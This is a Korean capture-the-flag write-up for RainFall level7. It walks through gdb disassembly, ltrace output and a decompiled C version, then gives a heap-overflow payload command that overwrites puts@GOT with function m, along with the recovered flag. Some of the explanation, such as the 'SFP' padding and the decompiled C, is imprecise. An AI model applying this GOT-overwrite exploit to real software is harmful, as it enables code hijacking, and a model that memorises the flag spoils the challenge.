level7

태그	Assembly BufferOverflow GOTOverwrite Shell
상태	완료

풀이과정

겪었던 어려움

왜 plt 함수 자체 주소로 안되는지 이해가 안되서 오래걸림

풀이과정

gdb를 통해서 함수들, 변수들을 볼 때 custom 함수 m이랑 custom 변수 c의 존재를 알 수 있다.

```
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0804836c  _init
0x080483b0  printf
0x080483b0  printf@plt
0x080483c0  fgets
0x080483c0  fgets@plt
0x080483d0  time
0x080483d0  time@plt
0x080483e0  strcpy
0x080483e0  strcpy@plt
0x080483f0  malloc
0x080483f0  malloc@plt
0x08048400  puts
0x08048400  puts@plt
0x08048410  __gmon_start__
0x08048410  __gmon_start__@plt
0x08048420  __libc_start_main
0x08048420  __libc_start_main@plt
```

```
0x08048430  fopen
0x08048430  fopen@plt
0x08048440  _start
0x08048470  __do_global_dtors_aux
0x080484d0  frame_dummy
0x080484f4  m
0x08048521  main
0x08048610  __libc_csu_init
0x08048680  __libc_csu_fini
0x08048682  __i686.get_pc_thunk.bx
0x08048690  __do_global_ctors_aux
0x080486bc  _fini

(gdb) info variables
All defined variables:

Non-debugging symbols:
0x080486d8  _fp_hw
0x080486dc  _IO_stdin_used
0x08048824  __FRAME_END__
0x08049828  __CTOR_LIST__
0x08049828  __init_array_end
0x08049828  __init_array_start
0x0804982c  __CTOR_END__
0x08049830  __DTOR_LIST__
0x08049834  __DTOR_END__
0x08049838  __JCR_END__
0x08049838  __JCR_LIST__
0x0804983c  _DYNAMIC
0x08049908  _GLOBAL_OFFSET_TABLE_
0x08049938  __data_start
0x08049938  data_start
0x0804993c  __dso_handle
0x08049940  completed.6159
0x08049944  dtor_idx.6161
0x08049960  c

(gdb) disas m
Dump of assembler code for function m:
   0x080484f4 <+0>:  push   %ebp
   0x080484f5 <+1>:  mov    %esp,%ebp
   0x080484f7 <+3>:  sub    $0x18,%esp
   0x080484fa <+6>:  movl   $0x0,(%esp)
   0x08048501 <+13>:    call   0x80483d0 <time@plt>
   0x08048506 <+18>:    mov    $0x80486e0,%edx
```

```
   0x0804850b <+23>:    mov    %eax,0x8(%esp)
   0x0804850f <+27>:    movl   $0x8049960,0x4(%esp)
   0x08048517 <+35>:    mov    %edx,(%esp)
   0x0804851a <+38>:    call   0x80483b0 <printf@plt>
   0x0804851f <+43>:    leave
   0x08048520 <+44>:    ret
End of assembler dump.

(gdb) disas main
Dump of assembler code for function main:
   0x08048521 <+0>: push   %ebp
   0x08048522 <+1>: mov    %esp,%ebp
   0x08048524 <+3>: and    $0xfffffff0,%esp
   0x08048527 <+6>: sub    $0x20,%esp
   0x0804852a <+9>: movl   $0x8,(%esp)
   0x08048531 <+16>:    call   0x80483f0 <malloc@plt>
   0x08048536 <+21>:    mov    %eax,0x1c(%esp)
   0x0804853a <+25>:    mov    0x1c(%esp),%eax
   0x0804853e <+29>:    movl   $0x1,(%eax)
   0x08048544 <+35>:    movl   $0x8,(%esp)
   0x0804854b <+42>:    call   0x80483f0 <malloc@plt>
   0x08048550 <+47>:    mov    %eax,%edx
   0x08048552 <+49>:    mov    0x1c(%esp),%eax
   0x08048556 <+53>:    mov    %edx,0x4(%eax)
   0x08048559 <+56>:    movl   $0x8,(%esp)
   0x08048560 <+63>:    call   0x80483f0 <malloc@plt>
   0x08048565 <+68>:    mov    %eax,0x18(%esp)
   0x08048569 <+72>:    mov    0x18(%esp),%eax
   0x0804856d <+76>:    movl   $0x2,(%eax)
   0x08048573 <+82>:    movl   $0x8,(%esp)
   0x0804857a <+89>:    call   0x80483f0 <malloc@plt>
   0x0804857f <+94>:    mov    %eax,%edx
   0x08048581 <+96>:    mov    0x18(%esp),%eax
   0x08048585 <+100>:   mov    %edx,0x4(%eax)
   0x08048588 <+103>:   mov    0xc(%ebp),%eax
   0x0804858b <+106>:   add    $0x4,%eax
   0x0804858e <+109>:   mov    (%eax),%eax
   0x08048590 <+111>:   mov    %eax,%edx
   0x08048592 <+113>:   mov    0x1c(%esp),%eax
   0x08048596 <+117>:   mov    0x4(%eax),%eax
   0x08048599 <+120>:   mov    %edx,0x4(%esp)
   0x0804859d <+124>:   mov    %eax,(%esp)
   0x080485a0 <+127>:   call   0x80483e0 <strcpy@plt>
   0x080485a5 <+132>:   mov    0xc(%ebp),%eax
   0x080485a8 <+135>:   add    $0x8,%eax
```

```
   0x080485ab <+138>:   mov    (%eax),%eax
   0x080485ad <+140>:   mov    %eax,%edx
   0x080485af <+142>:   mov    0x18(%esp),%eax
   0x080485b3 <+146>:   mov    0x4(%eax),%eax
   0x080485b6 <+149>:   mov    %edx,0x4(%esp)
   0x080485ba <+153>:   mov    %eax,(%esp)
   0x080485bd <+156>:   call   0x80483e0 <strcpy@plt>
   0x080485c2 <+161>:   mov    $0x80486e9,%edx
   0x080485c7 <+166>:   mov    $0x80486eb,%eax
---Type <return> to continue, or q <return> to quit---
   0x080485cc <+171>:   mov    %edx,0x4(%esp)
   0x080485d0 <+175>:   mov    %eax,(%esp)
   0x080485d3 <+178>:   call   0x8048430 <fopen@plt>
   0x080485d8 <+183>:   mov    %eax,0x8(%esp)
   0x080485dc <+187>:   movl   $0x44,0x4(%esp)
   0x080485e4 <+195>:   movl   $0x8049960,(%esp)
   0x080485eb <+202>:   call   0x80483c0 <fgets@plt>
   0x080485f0 <+207>:   movl   $0x8048703,(%esp)
   0x080485f7 <+214>:   call   0x8048400 <puts@plt>
   0x080485fc <+219>:   mov    $0x0,%eax
   0x08048601 <+224>:   leave
   0x08048602 <+225>:   ret
End of assembler dump.
```

이를 C로 변환하면 아래와 같다는 것을 알 수 있었다.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

const c = 0x8049960;

typedef struct {
    int value1;
    int* value2;
} MyStruct;

void m() {
    return printf("%s - %d\n", &c, time());
}

int main(int argc, char* argv[]) {
    MyStruct* s1 = (MyStruct*)malloc(sizeof(MyStruct));
    s1->value1 = 1;
```

```
    s1->value2 = (int*)malloc(sizeof(int));

    MyStruct* s2 = (MyStruct*)malloc(sizeof(MyStruct));
    s2->value1 = 2;
    s2->value2 = (int*)malloc(sizeof(int));

    strcpy(s1->value2, argv[1]);
    strcpy(s2->value2, argv[2]);

    fgets(&c, 68, fopen("/home/user/level8/.pass", "r"));
    puts("~~");

    return 0;
}
```

연결리스트를 사용하는 것을 확인하였다.

Linked List in Assembly

기본적으로 정적배열은 lea를 통해서 정적 배열의 크기를 알 수 있었는데, 이것은 아래와 같은 부분에서 대강 파악이 가능하다.

```
0x0804852a <+9>:  movl   $0x8,(%esp)
0x08048531 <+16>:    call   0x80483f0 <malloc@plt>
0x08048536 <+21>:    mov    %eax,0x1c(%esp)
0x0804853a <+25>:    mov    0x1c(%esp),%eax
0x0804853e <+29>:    movl   $0x1,(%eax)
```

0x8 즉, 8만큼 malloc을 호출해 0x1c 부분에 동적할당을 하고 내부 변수에 1을 대입하는 것을 알 수 있었고

```
0x08048544 <+35>:    movl   $0x8,(%esp)
0x0804854b <+42>:    call   0x80483f0 <malloc@plt>
0x08048550 <+47>:    mov    %eax,%edx
0x08048552 <+49>:    mov    0x1c(%esp),%eax
0x08048556 <+53>:    mov    %edx,0x4(%eax)
```

다시 한번 8만큼 malloc을 호출해서 0x1c에 이어서 담는다는 것을 파악할 수 있었고 아래는 0x18위치에서 위와 유사하게 반복하여 두 개의 연결리스트가 있다는 것을 알 수 있었다.

```
0x08048559 <+56>:    movl   $0x8,(%esp)
0x08048560 <+63>:    call   0x80483f0 <malloc@plt>
0x08048565 <+68>:    mov    %eax,0x18(%esp)
0x08048569 <+72>:    mov    0x18(%esp),%eax
```

이러한 형태를 파악하고 ltrace를 통해서 실질적인 함수 동작을 확인해보자

ltrace를 통해서 인자 유무 및 개수를 확인하면서 결과값을 본 결과 인자가 2개가 필요하고, 충족 시 "~~"가 출력됨을 알 수 있었다.

```
level7@RainFall:~$ ltrace ./level7
__libc_start_main(0x8048521, 1, 0xbffff7c4, 0x8048610, 0x8048680 <unfini
malloc(8)
malloc(8)
malloc(8)
malloc(8)
strcpy(0x0804a018, NULL <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

level7@RainFall:~$ ltrace ./level7 aaa
__libc_start_main(0x8048521, 2, 0xbffff7c4, 0x8048610, 0x8048680 <unfini
malloc(8)
malloc(8)
malloc(8)
malloc(8)
strcpy(0x0804a018, "aaa")
strcpy(0x0804a038, NULL <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
^[[A^[[A+++ killed by SIGSEGV +++

level7@RainFall:~$ ltrace ./level7 aaa bbb
__libc_start_main(0x8048521, 3, 0xbffff7c4, 0x8048610, 0x8048680 <unfini
malloc(8)
malloc(8)
malloc(8)
malloc(8)
strcpy(0x0804a018, "aaa")
strcpy(0x0804a038, "bbb")
fopen("/home/user/level8/.pass", "r")
fgets( <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
```

```
level7@RainFall:~$ ./level7 aaa bbb
~~
```

GOT Overwrite

이제 위 정보 및 C 디컴파일 결과를 바탕으로 두번째 인자를 넣되 puts의 GOT로 넘어가는 부분을 overwrite로 변경시켜서 변수 `c` 를 정상적으로 이용하게끔 만들면 된다.

따라서 우리가 알아야할 것은 puts@plt 내부의 puts@GOT 주소와 c를 이용하는 함수 m의 시작주소를 이용한다.

```
08048400 <puts@plt>:
 8048400:   ff 25 28 99 04 08       jmp    *0x8049928
 8048406:   68 28 00 00 00          push   $0x28
 804840b:   e9 90 ff ff ff          jmp    80483a0 <_init+0x34>
```

```
(gdb) disas m
Dump of assembler code for function m:
   0x080484f4 <+0>:  push   %ebp
```

이를 이용해서 첫 번째 인자에는 앞쪽 인자에 총 동적할당된 8 + 8 == 16bytes와 SFP를 덮기 위한 4bytes 총 20bytes 만큼의 더미데이터와 puts@plt 속 puts@GOT로 가능 주소값 `0x8049928` 을 이용한 명령어를, 그 이후 두 번째 인자에는 puts@GOT를 덮기 위한 m의 시작주소를 넣어주는 방식을 이용한다.

따라서 아래와 같이 명령어를 입력했을 때 정답을 알 수 있었다.

```
./level7 `python -c 'print "A" * 20 + "\x28\x99\x04\x08"'` `python -c 'print "\xf4\x84\x04\x08"'`
```

정답

```
5684af5cb4c8679958be4abe6373147ab52d95768e047820bf382e44fa8d8fb9
```

출처

X86 Disassembly/Data Structures

stack overflow에 관련된 자료를 찾아보던 중, 어셈블리를 공부하지 않았던 저같은 초보자에게도 좋은 자료가 있어 한국어 페이지를 만들었습니다. X86 Disassembly/Data StructuresContents 1자료 구조2배열2.1스택에서 배열 참조2.2

https://zenoahn.tistory.com/66

got overwrite 할 때 got에 got를 못 넣는 이유

got에 다른 함수 plt를 넣게 되면 넣은 함수의 plt가 진행된다는 것은 알겠는데, got를 넣으면 안 되는 이유는 무엇인가요?? 새로 넣은 함수가 처음 실행되는 것이라면 해당...

https://dreamhack.io/forum/qna/1030/

<함수의 PLT, GOT>&got overwrite

PLT,GOT 서론 외부 라이브러리를 불러오는 경우(Dinamic linking) 함수 호출을 위해 주소를 구하여 접근하는 방법이 필요하다. 그래서 등장한 것이 PLT와 GOT이다. 개념 PLT Procdedure Linkage Table의 약자로 프로시져들을 연결해 주는 테이블을 말한

https://wpgur.tistory.com/85